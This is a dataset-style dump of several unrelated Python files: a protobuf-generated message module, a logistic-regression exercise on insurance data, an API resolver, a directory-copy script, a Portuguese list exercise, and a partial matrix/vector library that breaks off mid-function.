'__module__' : 'pbuf_message_pb2'
# @@protoc_insertion_point(class_scope:ProtobufMessage)
})
_sym_db.RegisterMessage(ProtobufMessage)
# @@protoc_insertion_point(module_scope)
| # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: pbuf_message.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='pbuf_message.proto',
package='',
syntax='proto3',
serialized_options=None,
serialized_pb=_b('\n\x12pbuf_message.proto\"\x1a\n\x07Object2\x12\x0f\n\x07number2\x18\x01 \x01(\x03\"1\n\x06Object\x12\x0c\n\x04str2\x18\x01 \x01(\t\x12\x19\n\x07object2\x18\x02 \x01(\x0b\x32\x08.Object2\"\x8b\x01\n\x0fProtobufMessage\x12\x0e\n\x06number\x18\x01 \x01(\x03\x12\n\n\x02pi\x18\x02 \x01(\x01\x12\x0b\n\x03str\x18\x03 \x01(\t\x12\x10\n\x08null_key\x18\x04 \x01(\t\x12\x17\n\x06object\x18\x05 \x01(\x0b\x32\x07.Object\x12\x11\n\tnum_array\x18\x06 \x03(\x03\x12\x11\n\tstr_array\x18\x07 \x03(\tb\x06proto3')
)
_OBJECT2 = _descriptor.Descriptor(
name='Object2',
full_name='Object2',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='number2', full_name='Object2.number2', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=22,
serialized_end=48,
)
_OBJECT = _descriptor.Descriptor(
name='Object',
full_name='Object',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='str2', full_name='Object.str2', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='object2', full_name='Object.object2', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=50,
serialized_end=99,
)
_PROTOBUFMESSAGE = _descriptor.Descriptor(
name='ProtobufMessage',
full_name='ProtobufMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='number', full_name='ProtobufMessage.number', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='pi', full_name='ProtobufMessage.pi', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='str', full_name='ProtobufMessage.str', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='null_key', full_name='ProtobufMessage.null_key', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='object', full_name='ProtobufMessage.object', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='num_array', full_name='ProtobufMessage.num_array', index=5,
number=6, type=3, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='str_array', full_name='ProtobufMessage.str_array', index=6,
number=7, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=102,
serialized_end=241,
)
_OBJECT.fields_by_name['object2'].message_type = _OBJECT2
_PROTOBUFMESSAGE.fields_by_name['object'].message_type = _OBJECT
DESCRIPTOR.message_types_by_name['Object2'] = _OBJECT2
DESCRIPTOR.message_types_by_name['Object'] = _OBJECT
DESCRIPTOR.message_types_by_name['ProtobufMessage'] = _PROTOBUFMESSAGE
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Object2 = _reflection.GeneratedProtocolMessageType('Object2', (_message.Message,), {
'DESCRIPTOR' : _OBJECT2,
'__module__' : 'pbuf_message_pb2'
# @@protoc_insertion_point(class_scope:Object2)
})
_sym_db.RegisterMessage(Object2)
Object = _reflection.GeneratedProtocolMessageType('Object', (_message.Message,), {
'DESCRIPTOR' : _OBJECT,
'__module__' : 'pbuf_message_pb2'
# @@protoc_insertion_point(class_scope:Object)
})
_sym_db.RegisterMessage(Object)
ProtobufMessage = _reflection.GeneratedProtocolMessageType('ProtobufMessage', (_message.Message,), {
'DESCRIPTOR' : _PROTOBUFMESSAGE,
'__module__' : 'pbuf_message_pb2'
# @@protoc_insertion_point(class_scope:ProtobufMessage)
})
_sym_db.RegisterMessage(ProtobufMessage)
# @@protoc_insertion_point(module_scope) | en | 0.481983 | # -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: pbuf_message.proto # @@protoc_insertion_point(imports) # @@protoc_insertion_point(class_scope:Object2) # @@protoc_insertion_point(class_scope:Object) # @@protoc_insertion_point(class_scope:ProtobufMessage) # @@protoc_insertion_point(module_scope) | 1.324672 | 1 |
Sampling-Techniques/code.py | navinsingh1977/ga-learner-dsmp-repo | 0 | 6623644 | # --------------
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
# Code starts here
df = pd.read_csv(path)
#print(df.head())
df.INCOME = df.INCOME.str.replace('$','').str.replace(',','')
df.HOME_VAL = df.HOME_VAL.str.replace('$','').str.replace(',','')
df.BLUEBOOK = df.BLUEBOOK.str.replace('$','').str.replace(',','')
df.OLDCLAIM = df.OLDCLAIM.str.replace('$','').str.replace(',','')
df.CLM_AMT = df.CLM_AMT.str.replace('$','').str.replace(',','')
print(df.head())
print(df.info())
X = df.iloc[:,:-1]
y = df.iloc[:,-1]
count = y.value_counts()
print(count)
X_train, X_test, y_test, y_train = train_test_split(X,y, test_size=0.3, random_state=6)
# Code ends here
# --------------
# Code starts here
X_train.INCOME = X_train.INCOME.astype(float)
X_train.HOME_VAL = X_train.HOME_VAL.astype(float)
X_train.BLUEBOOK = X_train.BLUEBOOK.astype(float)
X_train.OLDCLAIM = X_train.OLDCLAIM.astype(float)
X_train.CLM_AMT = X_train.CLM_AMT.astype(float)
X_test.INCOME = X_test.INCOME.astype(float)
X_test.HOME_VAL = X_test.HOME_VAL.astype(float)
X_test.BLUEBOOK = X_test.BLUEBOOK.astype(float)
X_test.OLDCLAIM = X_test.OLDCLAIM.astype(float)
X_test.CLM_AMT = X_test.CLM_AMT.astype(float)
print(X_train.isnull().sum())
print(X_test.isnull().sum())
# Code ends here
# --------------
# Code starts here
print(X_train.shape)
print(X_test.shape)
X_train = X_train.dropna(subset=['YOJ','OCCUPATION'])
X_test = X_test.dropna(subset=['YOJ','OCCUPATION'])
print(X_train.shape)
print(X_test.shape)
print(y_train.shape)
print(y_test.shape)
y_train = y_train[X_train.index]
y_test = y_test[X_test.index]
X_train[['AGE','CAR_AGE','INCOME','HOME_VAL']] = X_train[['AGE','CAR_AGE','INCOME','HOME_VAL']].fillna(X_train[['AGE','CAR_AGE','INCOME','HOME_VAL']].mean(), inplace = True)
X_test[['AGE','CAR_AGE','INCOME','HOME_VAL']] = X_test[['AGE','CAR_AGE','INCOME','HOME_VAL']].fillna(X_test[['AGE','CAR_AGE','INCOME','HOME_VAL']].mean(), inplace = True)
# Code ends here
# --------------
from sklearn.preprocessing import LabelEncoder
columns = ["PARENT1","MSTATUS","GENDER","EDUCATION","OCCUPATION","CAR_USE","CAR_TYPE","RED_CAR","REVOKED"]
# Code starts here
for col in columns:
le = LabelEncoder()
X_train[col] = le.fit_transform(X_train[col].astype(str))
X_test[col] = le.transform(X_test[col].astype(str))
# Code ends here
# --------------
from sklearn.metrics import precision_score
from sklearn.metrics import accuracy_score
from sklearn.linear_model import LogisticRegression
# code starts here
print(X_train.isnull().sum())
print(y_train.isnull().sum())
model = LogisticRegression(random_state=6)
model.fit(X_train,y_train)
y_pred = model.predict(X_test)
score = accuracy_score(y_test, y_pred)
print(score)
# Code ends here
# --------------
from sklearn.preprocessing import StandardScaler
from imblearn.over_sampling import SMOTE
# code starts here
smote = SMOTE(random_state=9)
X_train, y_train = smote.fit_sample(X_train, y_train)
scaler = StandardScaler()
X_train = scaler.fit_transform(X_train)
X_test = scaler.transform(X_test)
# Code ends here
# --------------
# Code Starts here
model = LogisticRegression()
model.fit(X_train, y_train)
y_pred = model.predict(X_test)
score = accuracy_score(y_test, y_pred)
print(score)
# Code ends here
| # --------------
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
# Code starts here
df = pd.read_csv(path)
#print(df.head())
df.INCOME = df.INCOME.str.replace('$','').str.replace(',','')
df.HOME_VAL = df.HOME_VAL.str.replace('$','').str.replace(',','')
df.BLUEBOOK = df.BLUEBOOK.str.replace('$','').str.replace(',','')
df.OLDCLAIM = df.OLDCLAIM.str.replace('$','').str.replace(',','')
df.CLM_AMT = df.CLM_AMT.str.replace('$','').str.replace(',','')
print(df.head())
print(df.info())
X = df.iloc[:,:-1]
y = df.iloc[:,-1]
count = y.value_counts()
print(count)
X_train, X_test, y_test, y_train = train_test_split(X,y, test_size=0.3, random_state=6)
# Code ends here
# --------------
# Code starts here
X_train.INCOME = X_train.INCOME.astype(float)
X_train.HOME_VAL = X_train.HOME_VAL.astype(float)
X_train.BLUEBOOK = X_train.BLUEBOOK.astype(float)
X_train.OLDCLAIM = X_train.OLDCLAIM.astype(float)
X_train.CLM_AMT = X_train.CLM_AMT.astype(float)
X_test.INCOME = X_test.INCOME.astype(float)
X_test.HOME_VAL = X_test.HOME_VAL.astype(float)
X_test.BLUEBOOK = X_test.BLUEBOOK.astype(float)
X_test.OLDCLAIM = X_test.OLDCLAIM.astype(float)
X_test.CLM_AMT = X_test.CLM_AMT.astype(float)
print(X_train.isnull().sum())
print(X_test.isnull().sum())
# Code ends here
# --------------
# Code starts here
print(X_train.shape)
print(X_test.shape)
X_train = X_train.dropna(subset=['YOJ','OCCUPATION'])
X_test = X_test.dropna(subset=['YOJ','OCCUPATION'])
print(X_train.shape)
print(X_test.shape)
print(y_train.shape)
print(y_test.shape)
y_train = y_train[X_train.index]
y_test = y_test[X_test.index]
X_train[['AGE','CAR_AGE','INCOME','HOME_VAL']] = X_train[['AGE','CAR_AGE','INCOME','HOME_VAL']].fillna(X_train[['AGE','CAR_AGE','INCOME','HOME_VAL']].mean(), inplace = True)
X_test[['AGE','CAR_AGE','INCOME','HOME_VAL']] = X_test[['AGE','CAR_AGE','INCOME','HOME_VAL']].fillna(X_test[['AGE','CAR_AGE','INCOME','HOME_VAL']].mean(), inplace = True)
# Code ends here
# --------------
from sklearn.preprocessing import LabelEncoder
columns = ["PARENT1","MSTATUS","GENDER","EDUCATION","OCCUPATION","CAR_USE","CAR_TYPE","RED_CAR","REVOKED"]
# Code starts here
for col in columns:
le = LabelEncoder()
X_train[col] = le.fit_transform(X_train[col].astype(str))
X_test[col] = le.transform(X_test[col].astype(str))
# Code ends here
# --------------
from sklearn.metrics import precision_score
from sklearn.metrics import accuracy_score
from sklearn.linear_model import LogisticRegression
# code starts here
print(X_train.isnull().sum())
print(y_train.isnull().sum())
model = LogisticRegression(random_state=6)
model.fit(X_train,y_train)
y_pred = model.predict(X_test)
score = accuracy_score(y_test, y_pred)
print(score)
# Code ends here
# --------------
from sklearn.preprocessing import StandardScaler
from imblearn.over_sampling import SMOTE
# code starts here
smote = SMOTE(random_state=9)
X_train, y_train = smote.fit_sample(X_train, y_train)
scaler = StandardScaler()
X_train = scaler.fit_transform(X_train)
X_test = scaler.transform(X_test)
# Code ends here
# --------------
# Code Starts here
model = LogisticRegression()
model.fit(X_train, y_train)
y_pred = model.predict(X_test)
score = accuracy_score(y_test, y_pred)
print(score)
# Code ends here
| en | 0.434965 | # -------------- # Code starts here #print(df.head()) # Code ends here # -------------- # Code starts here # Code ends here # -------------- # Code starts here # Code ends here # -------------- # Code starts here # Code ends here # -------------- # code starts here # Code ends here # -------------- # code starts here # Code ends here # -------------- # Code Starts here # Code ends here | 3.03362 | 3 |
api/resolver.py | Babylonpartners/tf-bridge | 26 | 6623645 | from .tensor_bridge import \
classify, regress, predict, multi_inference, get_model_metadata
OP_DICT = {
'Classify': classify,
'Regress': regress,
'Predict': predict,
'MultiInference': multi_inference,
'GetModelMetadata': get_model_metadata
}
def tensor_bridge_api_resolver(operation_id):
try:
return OP_DICT[operation_id]
except KeyError:
raise AttributeError
| from .tensor_bridge import \
classify, regress, predict, multi_inference, get_model_metadata
OP_DICT = {
'Classify': classify,
'Regress': regress,
'Predict': predict,
'MultiInference': multi_inference,
'GetModelMetadata': get_model_metadata
}
def tensor_bridge_api_resolver(operation_id):
try:
return OP_DICT[operation_id]
except KeyError:
raise AttributeError
| none | 1 | 1.965883 | 2 | |
scripts/SaveRun.py | jeizenga/shasta | 0 | 6623646 | <reponame>jeizenga/shasta
#!/usr/bin/python3
import os
import shutil
import sys
# Get from the arguments the list of input fasta files and check that they all exist.
helpMessage = "This script copies a run to directories dataOnDisk and DataOnDisk."
if not len(sys.argv)==1:
print(helpMessage)
exit(1)
if not os.path.lexists('data'):
raise Exception('data does not exist.')
if not os.path.lexists('Data'):
raise Exception('Data does not exist.')
if os.path.lexists('dataOnDisk'):
raise Exception('dataOnDisk already exists. Remove before running this script.')
if os.path.lexists('DataOnDisk'):
raise Exception('DataOnDisk already exists. Remove before running this script.')
shutil.copytree('data', 'dataOnDisk')
shutil.copytree('Data', 'DataOnDisk')
| #!/usr/bin/python3
import os
import shutil
import sys
# Get from the arguments the list of input fasta files and check that they all exist.
helpMessage = "This script copies a run to directories dataOnDisk and DataOnDisk."
if not len(sys.argv)==1:
print(helpMessage)
exit(1)
if not os.path.lexists('data'):
raise Exception('data does not exist.')
if not os.path.lexists('Data'):
raise Exception('Data does not exist.')
if os.path.lexists('dataOnDisk'):
raise Exception('dataOnDisk already exists. Remove before running this script.')
if os.path.lexists('DataOnDisk'):
raise Exception('DataOnDisk already exists. Remove before running this script.')
shutil.copytree('data', 'dataOnDisk')
shutil.copytree('Data', 'DataOnDisk') | en | 0.622196 | #!/usr/bin/python3 # Get from the arguments the list of input fasta files and check that they all exist. | 2.962282 | 3 |
exercises_cv/mundo03/exCV079.py | BeatrizAlcantara/study_repository | 0 | 6623647 | # 79 Faça um programa que o usuário forneca vários valores numericos, e cadastre-os em uma lista. Caso o número já exista, ele não será adicionado. No fim, serão exibidos todos os valores únicos digitados, em ordem crescente.
def Main079():
numeros = list()
resposta = 's'
while resposta in ['S','s']:
valor = int(input('Digite o valor a ser adicionado: '))
if valor in numeros:
print('Esse valor já existe, não será adicionado.')
else:
print('Valor adicionado com sucesso!')
numeros.append(valor)
resposta = input('Deseja continuar? [S/N] ').upper()
if resposta in ['n','N']:
break
print(f'Sua lista ficou: {sorted(numeros)}')
Main079() | # 79 Faça um programa que o usuário forneca vários valores numericos, e cadastre-os em uma lista. Caso o número já exista, ele não será adicionado. No fim, serão exibidos todos os valores únicos digitados, em ordem crescente.
def Main079():
numeros = list()
resposta = 's'
while resposta in ['S','s']:
valor = int(input('Digite o valor a ser adicionado: '))
if valor in numeros:
print('Esse valor já existe, não será adicionado.')
else:
print('Valor adicionado com sucesso!')
numeros.append(valor)
resposta = input('Deseja continuar? [S/N] ').upper()
if resposta in ['n','N']:
break
print(f'Sua lista ficou: {sorted(numeros)}')
Main079() | pt | 0.997955 | # 79 Faça um programa que o usuário forneca vários valores numericos, e cadastre-os em uma lista. Caso o número já exista, ele não será adicionado. No fim, serão exibidos todos os valores únicos digitados, em ordem crescente. | 4.065845 | 4 |
matrix.py | RobinNash/Matrix | 0 | 6623648 | <reponame>RobinNash/Matrix<gh_stars>0
## matrix ##
## June, 2021 ##
## By <NAME> ##
'''
This module contains Matrix, Vector, and RowOp classes.
Matrix objects store entries as fractions and implement matrix operations.
Matrix also does more like RREF function implements Gaussian elimination/row reduction to return
a matrix in reduced row echelon form.
Vector is a subclass of Matrix that implements vector operations.
RowOp is a class that breaks down a row operation string to make performing row operations
simpler. For example, if the user wants to add 3 * row 2 to row 1 of a 4x5 Matrix M,
they can simply pass "R1 + 3*R2" into M.rowop() and the string will be given meaning by the RowOp class.
'''
from fractions import Fraction as Frac
from math import *
# Some math functions for returning values in degrees
def dcos(x): return cos(radians(x))
def dtan(x): return tan(radians(x))
def dsin(x): return sin(radians(x))
def dacos(x): return degrees(acos(x))
def dasin(x): return degrees(asin(x))
def datan(x): return degrees(atan(x))
class Matrix(list):
'''2D matrix object
implements matrix operations and functions
Matrix can be initialized by passing a 2D array
or a string of form "a b c\nd e f" where a-c are entries of
first row and d-f are entries of second row
'''
def __init__(self,matrix):
super().__init__(matrix)
# make each row a Matrix
if self and type(self[0]) == list:
for i in range(len(self)):
self[i] = Matrix([Frac(a) for a in self[i]])
# initialize n,m if matrix is 2D
if self and isinstance(self[0],list):
self.m,self.n = self.mn()
def __repr__(self):
return str([[str(c) for c in row] for row in self]).replace("'",'')
def __add__(self, matrix):
'''Return self + matrix'''
if not self.is_same_size(matrix): raise ValueError("Matrices not of compatable size")
return Matrix([Matrix([self[i][j]+matrix[i][j] for j in range(len(self[0]))]) for i in range(len(self))])
def __radd__(self, matrix):
'''Return matrix + self'''
return matrix.__add__(self)
def __neg__(self):
'''Return self where each element is negated'''
return Matrix([Matrix([-x for x in row]) for row in self])
def __sub__(self, matrix):
'''Return self - matrix'''
return self + -matrix
def __rsub__(self,matrix):
'''Return matrix - self'''
return matrix - self
def __mul__(self,value):
'''return self*value (value can be matrix or constant)'''
m,r = self.mn()
if isinstance(value,(int,Frac)):
return Matrix([Matrix([x*value for x in row]) for row in self])
r2,n = value.mn()
if r != r2: raise ValueError("Matrices of incompatable sizes")
return Matrix([Matrix([sum([self[i][t]*value[t][j] for t in range(r)]) for j in range(n)]) for i in range(m)])
def __rmul__(self, value):
'''return value*self (value can be matrix or constant)'''
if isinstance(value,(int,Frac)):
return Matrix([Matrix([x*value for x in row]) for row in self])
return value.__mul__(self)
def __floordiv__(self, value):
'''Return self where each element x is x//value, value is int or Fraction'''
return Matrix([Matrix([x//value for x in row]) for row in self])
def __div__(self, value):
'''Return self where each element x is x/value, value is a constant'''
return Matrix([Matrix([x/value for x in row]) for row in self])
def __pow__(self, value):
'''Return self**value'''
# if value is less than 0, we have to invert first, but we'll worry about this later
if value > 0:
M = self.copy()
for i in range(value-1):
M = M*self
return M
def print(self):
'''display formatted matrix to console'''
# holds format specifier for each column of self
form = [max([len(str(self[i][j])) for i in range(self.m)]) for j in range(self.n)]
M = [[f"{str(self[i][j]):>{form[j]}s}" for j in range(self.n)] for i in range(self.m)]
print(str(M).replace('], [',']\n [').replace("'",''))#.replace(',',''))
def copy(self):
''' Return a 2 level copy of self'''
return Matrix([Matrix([x for x in row]) for row in self])
def is_same_size(self, matrix):
'''return if self has the same number of rows and columns as matrix'''
return self.mn() == matrix.mn()
def mn(self):
'''Return (row,columns) of self'''
return len(self),len(self[0])
def remove_col(self,c):
'''return self with column c removed'''
return Matrix([[self[r][i] for i in range(self.n) if i != c] for r in range(self.m)])
def remove_row(self,r):
'''return self with row r removed'''
return Matrix([self[i] for i in range(self.m) if i != r])
# Row operations
def swap(self,r1,r2):
'''r1 <-> r2'''
M = self.copy()
M[r1],M[r2] = M[r2],M[r1]
return M
def scale(self,r1,c):
'''r1 <- c*r1'''
M = self.copy()
M[r1] = c*M[r1]
return M
def pivot(self,r1,r2,c = 1):
'''r1 <- r1 + c*r2'''
m,n = self.mn()
M = self.copy()
M[r1] = M[r1]+c*M[r2]
return M
def row_op(self,opst):
'''return matrix with row operation object or string opst applied to self'''
opst = RowOp(str(opst))
if opst.op == 0: return self.swap(opst.r1,opst.r2)
if opst.op == 1: return self.scale(opst.r1,opst.c)
if opst.op == 2: return self.pivot(opst.r1,opst.r2,opst.c)
def T(self):
'''Return transpose of self'''
return Matrix([[self[j][i] for j in range(len(self))] for i in range(len(self[0]))])
def REF(self, get_row_ops = False):
'''Return self in a row echelon form, and the list of row operations that reduce it
if get_row_ops = True.'''
# Sort rows by least amount of leading zeros
def leading_zeros(row,n):
'''return the number of leading zeros in a list/Vector'''
return n if row==[] or row[0]!=0 else leading_zeros(row[1:],n+1)
def get_sort(M,start=0, ops = []):
'''return M (with rows sorted by number of leading zeros) and row ops'''
if start == M.m:
return (M, ops)
M = M.copy()
leads = [leading_zeros(row,0) for row in M]
r2 = leads.index(min(leads[start+1:]+[leads[start]]),start)
if r2 != start:
M[start],M[r2] = M[r2],M[start]
ops.append(RowOp(0,start,r2))
return get_sort(M, start+1, ops)
## return Matrix(M[:start] + sorted(M[start:],key = lambda row: leading_zeros(row,0))) # if row_ops not involved
M, row_ops = get_sort(self)
for r in range(M.m):
lead = leading_zeros(M[r],0) #where the current row's leading 1 will be
# if zero row, no ops necessary
if lead == M.n:
break
# Transform row so lead is 1
if M[r][lead] != 1:
row_ops.append(RowOp(1,r,Frac(1,M[r][lead])))
M = M.scale(r,Frac(1,M[r][lead]))
# Remove entries below
for r2 in range(r+1,M.m):
if M[r2][lead] == 0:
break
lead2 = leading_zeros(M[r2],0)
row_ops.append(RowOp(2,r2,r,-M[r2][lead2]))
M = M.pivot(r2,r,-M[r2][lead2])
# Sort the below by leading zeros again
M,row_ops = get_sort(M,r+1, row_ops)
return M if not get_row_ops else (M, row_ops)
def RREF(self, get_row_ops = False):
'''return self in reduced row echelon form, and the list of row operations that reduce it
if get_row_ops = True'''
def leading_zeros(row,n):
return n if row==[] or row[0]!=0 else leading_zeros(row[1:],n+1)
# put it in REF
M, row_ops = self.REF(True)
leads = [leading_zeros(row,0) for row in M]
for r in range(M.m):
for c in range(leads[r]+1,M.n):
if c in leads:
r2 = leads.index(c)
row_ops.append(RowOp(2,r,r2, Frac(-M[r][c],M[r2][c])))
M = M.pivot(r,r2, Frac(-M[r][c],M[r2][c]))
return M if not get_row_ops else (M, row_ops)
def tr(self):
'''return trace of self'''
return sum([self[i][i] for i in range(n)])
def det(self):
'''Return determinant of self if self is square'''
m,n = self.mn()
if n!=m:
raise ValueError("This Matrix is not sqaure")
if n == 1:
return self[0][0]
if n == 2:
return self[0][0]*self[1][1] - self[0][1]*self[1][0]
# row expansion
return sum([self[0][j]*self.C(0,j) for j in range(n)])
def M(self,i,j):
'''return the Minor of self at i,j(i.e. det of the matrix of self with row i and col j removed)'''
return Matrix([[self[ii][jj] for jj in range(self.n) if jj != j] for ii in range(self.m) if ii!=i]).det()
def C(self,i,j):
'''return the cofactor of self at i,j'''
return (-1)**(i+j)*self.M(i,j)
def adj(self):
'''return the adjoint matrix of self'''
return Matrix([[self.C(j,i) for j in range(self.n)] for i in range(self.m)])
def inverse(self):
'''return the inverse matrix of self if it exists'''
return Frac(1,self.det()) * self.adj()
def TA(self, x):
'''return Matrix transformation of self*x where x is a Vector'''
return self*x.col()
def I(n):
'''Return an n x n identity matrix'''
return Matrix([[(1 if i==j else 0) for j in range(n) ] for i in range(n)])
def Elementary(n, op, *args):
''' Return elementary matrix where a row operation
is performed on the identity matrix of size n.
row is row number (from 1) for op to be performed on.
op is op number 0-2 or 's','m','p'
args following op contains either:
0/'s' (r1,r2) : r1 <-> r2
1/'m' (r1,c) : r1 <- r1*c
2/'p' (r1,r2,c) : r1 <- r1 + c*r2'''
if str(op) in 'smp': op = 'smp'.find(op)
if op == 0:
self = I(n).swap(*args[:2]) # b is constant not row in this case
if op == 1:
self = I(n).scale(*args[:2])
if op == 2:
self = I(n).pivot(*args)
return self
def ElementaryOpst(n, opst):
'''Return elementary matrix where a row operation
is performed on the identity matrix of size n.
opst is row op string. ex "R2*-3", "R2sR3", "R2 - 3/2R3". no spaces necessary'''
opst = RowOp(str(opst))
return Elementary2(n,opst.op,*opst.tuple())
class RowOp:
'''Holds details about an elementary row operation to be performed on a matrix.
These are descriptions corresponding to op numbers:
0 - Swap: two row numbers to indicate these rows to be interchanged (r1,r2) r1 <-> r2
1 - Scale: a target row, then a constant to multiply that row by (r1,c) r1 <- r1*c
2 - Pivot: a row number, a another row number, then a constant to
add constant * second row to first (r1,r2,c) r1 <- r1 + c*r2'''
def __init__(self, *args):
'''args can be opst which is row op string.
Examples:
"R2*-3" -> multiply each entry in row to by constant -3
"R2sR3" -> switch rows 2 and 3
"R2 - 3/2R3" -> add -3/2 of each entry in row 3 to row 2
spaces in format are optional
args can be op number (0-2), then r1,c or r1,r2 or r1,r2,c based on the number'''
if len(args) == 1:
if type(args[0]) == str:
self.init_opst(args[0])
elif type(args[0]) == RowOp:
self.init_opst(args[0].opst)
else:
args += (0,)
self.op = op = args[0]
self.r1 = args[1]
self.r2,self.c = [(args[2],1), (None,args[2]), (args[2],args[3])][op]
# assign self.opst
self.reconstruct()
def init_opst(self,opst):
self.opst = opst
self.op = op = ['s' in opst, '*' in opst, True].index(True)
opst = opst.replace(' ','')
r1,r2,c = None,None,0
if op == 0:
r1,r2 = map(int,opst.replace('R','').split('s'))
if op == 1:
r1,c = opst[1:].split('*')
r1 = int(r1)
if '/' in c:
a,b = map(int,c.split("/"))
c = Frac(a,b)
else:
c = int(c)
if op == 2:
pm = '+-'[int('-' in opst)]
r1 = int(opst[1:opst.find(pm)])
r2 = int(opst[opst.rfind("R")+1:])
c = opst[opst.find(pm):opst.rfind("R")]
if '/' in c:
a,b = map(int,c.split("/"))
c = Frac(a,b)
else:
c = int(c+('1' if len(c)==1 else ''))
self.r1 = r1 - 1
self.r2 = (None if not r2 else r2 - 1)
self.c = c
self.reconstruct()
def __repr__(self):
return self.opst
def reconstruct(self):
'''sets self.opst based on op,r1,r2,c values'''
pm = "+-"[int(self.c < 0)]
r1,r2 = self.r1+1, (None if self.r2 == None else self.r2+1)
self.opst = [f"R{r1}sR{r2}", f"R{r1} * {self.c}", f"R{r1} {pm} {abs(self.c)}R{r2}"][self.op]
def tuple(self):
'''return op as tuple of form (r1,c,None), (r1,r2,None), or (r1,r2,c) based on self.op'''
return [(self.r1,self.r2,None), (self.r1,self.c,None), (self.r1,self.r2,self.c)][self.op]
def invert(self):
'''Return the inverse row operation string of self'''
opst = RowOp(self.opst)
if opst.op == 1: opst.c = Frac(1,opst.c)
if opst.op == 2: opst.c = -opst.c
opst.reconstruct()
return opst
class Vector(list):
def __init__(self, vector):
# cast Vector to str
if type(vector) == str:
vector = list(map(Frac,vector.split()))
# convert matrix of 1 col to vector
if isinstance(vector[0], list):
if len(vector[0]) == 1: vector = [row[0] for row in vector]
else: vector = vector[0] # would be a matrix with one row
super().__init__(vector)
def __repr__(self):
return str([str(c) for c in self]).replace("'",'')
def __neg__(self):
'''return -self'''
return -1*self
def __mul__(self, value):
'''return self*value. value is a constant'''
return Vector([a*value for a in self])
def __rmul__(self, value):
'''return value*self. value is a constant'''
return Vector([a*value for a in self])
def __add__(self, vector):
'''return self+vector'''
return Vector([self[i]+vector[i] for i in range(len(self))])
def __sub__(self, vector):
'''return self - vector'''
return self + -1*vector
## def __setitem__(self, key, value):
## '''set self[key] to value'''
## self[key] = Frac(value)
def norm(self):
'''return the norm (length) of self'''
return sqrt(self.normsq())
def normsq(self):
'''return the norm^2 of self'''
return sum([v**2 for v in self])
def unit(self):
'''return unit vector of self'''
return (1/self.norm())*self
def dot(self,vector):
'''return dot product of self and vector'''
return sum([self[i]*vector[i] for i in range(len(self))])
def angle(self,vector):
'''return angle between two vectors in radians'''
return acos( self.dot(vector) / (self.norm()*vector.norm()) )
def dangle(self,vector):
'''return angle between self and vector in degrees'''
return degrees(self.angle(vector))
def cross(self,vector):
'''return self x vector'''
M = Matrix([self,vector])
return Vector([M.remove_col(0).det(),-M.remove_col(1).det(),M.remove_col(2).det()])
def lagrange(self,vector):
'''return length of self cross vector using lagrange identity'''
return sqrt( self.norm()**2 * vector.norm()**2 - self.dot(vector)**2 )
def proj_len(self, vector):
''''return the length of the projection of self onto vector; proj vector self'''
return (self.dot(vector)/vector.norm())#Frac(self.dot(a),a.norm())
def proj(self,vector):
'''return projection of self onto vector; proj vector self'''
